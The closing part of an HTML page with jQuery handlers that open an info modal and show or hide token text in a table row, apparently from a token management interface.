        $(document).on('click', 'button.info-btn', function () {
            const tokenId = $(this).data('token-id');
            showInfoModal(tokenId);
        });

        $(document).on('click', 'button.toggle-btn', function () {
            const token = $(this).data('token');
            const tokenRow = $(this).closest('tr').find('td:first-child .token-text');
            tokenRow.toggleClass('revealed');
            $(this).html(tokenRow.hasClass('revealed') ? '<i class="fas fa-eye-slash"></i> Hide' : '<i class="fas fa-eye"></i> Show');
        });
    </script>
</body>
</html>
